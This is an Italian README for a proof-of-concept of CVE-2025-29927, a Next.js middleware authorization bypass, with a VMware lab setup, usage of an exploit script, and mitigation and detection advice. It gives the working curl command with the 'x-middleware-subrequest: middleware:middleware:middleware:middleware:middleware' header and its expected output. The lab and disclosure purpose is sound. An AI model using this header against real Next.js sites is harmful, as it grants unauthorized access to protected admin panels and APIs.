
Proof-of-concept exploit per CVE-2025-29927, un bypass dell'autorizzazione middleware di Next.js. Include un laboratorio target vulnerabile e uno script Python per verificare il bypass inviando header x-middleware-subrequest appositamente costruiti.
Un piccolo progetto GitHub per verificare CVE-2025-29927 (Bypass dell'autorizzazione del middleware Next.js) in un laboratorio di autorizzazione locale (VMware: macchina target Ubuntu + macchina attaccante Kali).
⚠️ Disclaimer: questo progetto è destinato esclusivamente a scopi educativi, CTF e ambienti di laboratorio di tua proprietà/espressamente autorizzati. È severamente vietato l'uso su sistemi non autorizzati. L'utente è l'unico responsabile delle conseguenze derivanti da un uso improprio di questo progetto.
| Elemento | Contenuto |
|---|---|
| CVE | CVE-2025-29927 |
| Data di divulgazione | 2025-03-25 (bollettino di sicurezza ufficiale Next.js) |
| Componente interessato | Vercel Next.js (framework full-stack Node.js) |
| Tipo di vulnerabilità | Bypass dell'autorizzazione / Autorizzazione impropria (CWE-863) |
| Versioni interessate | < 12.3.5、< 13.5.9、< 14.2.25、< 15.2.3 |
| Versioni corrette | 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3 e successive |
| Livello di gravità | Critical / Alto (il punteggio specifico fa riferimento alla pagina NVD) |
Dopo la divulgazione della vulnerabilità, numerosi pannelli di amministrazione, callback di pagamento e API interne in ambienti di produzione sono stati bypassati. Sia Metasploit che ProjectDiscovery Nuclei hanno incluso moduli di rilevamento; si tratta di una delle vulnerabilità di "bypass dell'autorizzazione a livello di framework" più rappresentative del 2025.
Next.js consente di scrivere la "logica di autenticazione" nel middleware, ad esempio:
export function middleware(request) {
if (!isLogin(request)) return NextResponse.redirect("/login"); // Non autenticato → blocca
return NextResponse.next();
}
Il problema è che Next.js internamente si affida a un'intestazione di richiesta falsificabile dal client per determinare se "questa richiesta ha già eseguito il middleware":
x-middleware-subrequest: middleware
Nelle versioni interessate, se una richiesta esterna trasporta questa intestazione interna, Next.js presume erroneamente che il middleware sia già stato eseguito, quindi l'intero middleware di autenticazione viene saltato. L'attaccante non ha bisogno di alcun account: basta inviare questa intestazione per accedere direttamente con stato 200 a rotte protette come /admin — poiché la pagina stessa di solito si fida del middleware e non esegue una seconda verifica, il controllo di autorizzazione viene meno (errore di confine di fiducia).
💡 Il valore più comune nell'exploit pubblico è la forma con il percorso del middleware ripetuto e concatenato, ad esempio
middleware:middleware:middleware:middleware:middleware; un singolomiddlewarenon funziona in alcune versioni/strutture di directory (verificato in questo laboratorio con la 14.2.24). Questo PoC esegue il polling di diversi valori candidati; se uno qualsiasi corrisponde, il bypass ha successo.
CVE-2025-29927-PoC/
├── README.md # Questo documento (descrizione vulnerabilità + tutorial laboratorio VMware)
├── LICENSE # MIT
├── .gitignore
├── exploit.py # ★ PoC di verifica Python3 solo libreria standard (eseguibile su Kali/qualsiasi macchina)
├── target/ # ★ Laboratorio vulnerabile autocostruito (da copiare sulla macchina target Ubuntu)
│ ├── package.json # Blocca [email protected] (versione vulnerabile)
│ ├── middleware.js # Simula il "middleware di autenticazione" di una produzione reale
│ ├── pages/
│ │ ├── index.js # Home page
│ │ ├── login.js # Pagina di login (dimostra il reindirizzamento qui)
│ │ └── admin.js # ★ Pannello di amministrazione protetto, legge flag.txt lato server
│ ├── flag.txt # Flag del laboratorio: FLAG{...}
│ ├── setup.sh # Installazione一键 Node 20 + npm install + build sulla macchina target
│ └── start.sh # Ascolto in modalità produzione su 0.0.0.0:3000
└── tests/
└── mock_target.py # Target simulato senza Node (solo per auto-test di sviluppo)
┌───────────────────────────────────────────────────────────┐
│ VMware Workstation Pro 17 (host: Windows) │
│ Rete: NAT (VMnet8 predefinita), due VM stessa sottorete, ping reciproco │
│ │
│ ┌──────────────────┐ ┌─────────────────────┐ │
│ │ Target Ubuntu 24.04 │ │ Attaccante Kali Linux │ │
│ │ │ http │ │ │
│ │ Node 20 + Next │◄───────│ python3 exploit.py │ │
│ │ 14.2.24 :3000 │ GET │ │ │
│ └──────────────────┘ └─────────────────────┘ │
│ IP: <TARGET_IP> IP: <ATTACKER_IP> │
└───────────────────────────────────────────────────────────┘
| Scopo | Immagine/Software | Versione consigliata |
|---|---|---|
| Software VM | VMware Workstation Pro 17 (gratuito per uso personale) | 17.x |
| Immagine target | ISO Ubuntu Server LTS | 24.04.x |
| Macchina attaccante | Kali Linux (immagine VMware ufficiale preimpostata o installazione ISO) | 2025.x |
| (Opzionale) | Host con almeno 8 GB di RAM e 50 GB di disco | — |
Tutti i passaggi seguenti vengono eseguiti sulla macchina target Ubuntu.
# Metodo A: push del progetto sul proprio GitHub e poi clone (consigliato, usalo se poi farai push su GitHub)
git clone https://github.com/<il-tuo-username>/CVE-2025-29927-PoC.git
cd CVE-2025-29927-PoC
# Metodo B: copia dall'host con scp
# scp -r CVE-2025-29927-PoC ubuntu@<TARGET_IP>:~/
cd CVE-2025-29927-PoC/target
sudo bash setup.sh # Installa Node 20(LTS) + npm install + next build
Cosa fa setup.sh internamente: aggiorna apt → installa strumenti curl/CA/build → installa Node.js 20 LTS tramite NodeSource → npm install (scarica dipendenze come [email protected]) → npm run build.
bash start.sh
# Se vedi "▲ Next.js 14.2.24" e "Local: http://0.0.0.0:3000" l'avvio è riuscito
Aprire un altro terminale per un test di fumo locale:
curl -s http://127.0.0.1:3000 # Home page, 200
curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:3000/admin
# Output atteso 307 —— senza cookie viene bloccato dal middleware (autenticazione funzionante)
curl -s http://127.0.0.1:3000/admin # Osserva il body: dovrebbe essere il contenuto della pagina di login dopo il reindirizzamento
Il firewall della macchina target non blocca il traffico in ingresso per impostazione predefinita; se hai attivato ufw:
sudo ufw allow 3000/tcp.
sudo apt update
python3 --version # Kali include Python3, nessuna dipendenza aggiuntiva (il PoC usa solo la libreria standard)
ip -4 addr show # Annota l'IP di Kali (es. 192.168.x.xxx)
Trasferisci exploit.py su Kali (clona una copia dello stesso repository oppure copia il singolo file con scp), poi verifica prima che le due VM comunicano:
ping <TARGET_IP> # Ping ok ↓
curl -s -o /dev/null -w "%{http_code}\n" http://<TARGET_IP>:3000 # Dovrebbe restituire 200
Sulla macchina attaccante Kali, esegui:
python3 exploit.py -u http://<TARGET_IP>:3000
[1/3] Rilevamento baseline GET /admin (senza intestazioni speciali)
└─ Codice di stato 307 —— bloccato correttamente dal middleware ✓ (ambiente vulnerabile pronto)
[2/3] Tentativo di bypass x-middleware-subrequest: <polling valori candidati>
└─ Valore intestazione='middleware:middleware:middleware:middleware:middleware' codice di stato 200 —— bypass riuscito! Middleware saltato ✓
[3/3] Estrazione del risultato
└─ La pagina di amministrazione ha letto flag.txt lato server:
FLAG{cve-2025-29927-lab-ok}
[+] Conclusione: VULNERABLE —— bypass dell'autorizzazione CVE-2025-29927 verificato
Interpretazione chiave: stesso URL, senza intestazione speciale viene bloccato con 307, con x-middleware-subrequest si accede direttamente al pannello con 200 — un ciclo completo di verifica del "bypass del middleware di autenticazione".
# ① Baseline: dovrebbe restituire 307 (reindirizzamento a /login)
curl -i http://<TARGET_IP>:3000/admin | head -n 10
# ② Exploit: dovrebbe restituire 200 e contenere FLAG{...}
curl -i -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
http://<TARGET_IP>:3000/admin | head -n 30
📌 Nota pratica: in questo laboratorio (Next 14.2.24 +
middleware.jsnella directory root), il valore con 5 ripetizionimiddleware:middleware:middleware:middleware:middlewarefunziona, mentre un singolomiddlewarenon funziona. Per i test manuali con curl usa direttamente il valore con 5 ripetizioni; in caso di dubbi eseguiexploit.py(che esegue automaticamente il polling dei valori candidati).
usage: exploit.py [-h] -u URL [--path PATH] [--timeout SECONDS]
[--delay SECONDS] [--insecure] [--verbose]
-u, --url URL Indirizzo del target, es. http://192.168.162.10:3000
--path PATH Percorso protetto, predefinito /admin
--timeout SECONDS Timeout per singola richiesta, predefinito 10
--delay SECONDS Intervallo tra i polling dei valori candidati dell'intestazione, predefinito 0
--insecure Salta la verifica del certificato HTTPS
--verbose Stampa lo stato della risposta per ogni intestazione candidata, utile per il debug
Codice di uscita: 0 = vulnerabilità verificata; 1 = target non vulnerabile/tutte le richieste fallite; 2 = errore parametri o ambiente
Se non hai VMware o non vuoi installare subito Node, puoi usare il target simulato incluso nel repository per testare prima la logica del PoC (basta Python3 sull'host; simula il comportamento "blocco 307 / 200 con intestazione speciale"):
# Terminale 1: avvia il target simulato (in ascolto su 127.0.0.1:8123)
python3 tests/mock_target.py
# Terminale 2: verifica
python3 exploit.py -u http://127.0.0.1:8123
# Output atteso: VULNERABLE e FLAG{mock-bypass-ok}
Nota: il simulatore serve solo per testare la logica dello script; per la verifica formale usa assolutamente il laboratorio reale descritto nelle sezioni 5 e 6.
npm i [email protected] (o 15.2.3+ / versioni nuove corrispondenti), quindi rebuild e deploy;getServerSideProps / Route Handler / API backend;x-middleware-subrequest in ingresso a livello di reverse proxy/CDN/WAF.# Template ufficiale Nuclei
nuclei -u http://<TARGET_IP>:3000 -t http/cves/2025/CVE-2025-29927.yaml
Dopo l'aggiornamento, esegui di nuovo questo PoC: dovrebbe restituire "target non vulnerabile" — questo è il metodo di verifica prima/dopo la mitigazione.
| Sintomo | Causa / Soluzione |
|---|---|
next start segnala porta occupata | lsof -i :3000 per trovare il processo che la occupa, oppure usa -p 3001 |
curl http://<TARGET_IP>:3000 non funziona | Le due VM non sono sulla stessa sottorete NAT; controlla che gli adattatori di rete VMware siano entrambi NAT, verifica la sottorete con ip a |
L'accesso a /admin in baseline è già 200 | Il middleware non è attivo: verifica che middleware.js sia nella directory root di target/ e che setup.sh abbia completato la build |
| Dopo il tentativo di bypass è ancora 307 | I valori efficaci variano in base a versione/struttura directory: esegui prima python3 exploit.py --verbose per vedere i risultati del polling; per i test manuali con curl usa il valore con 5 ripetizioni middleware:middleware:middleware:middleware:middleware |
| Kali non riesce a fare ping di Ubuntu | Con NAT VMware la comunicazione è predefinita; se ancora non funziona, controlla i firewall di entrambe le macchine e ripristina lo snapshot |
| Vuoi verificare con un'altra versione di Next | Modifica la versione di next in target/package.json e riesegui npm install && npm run build |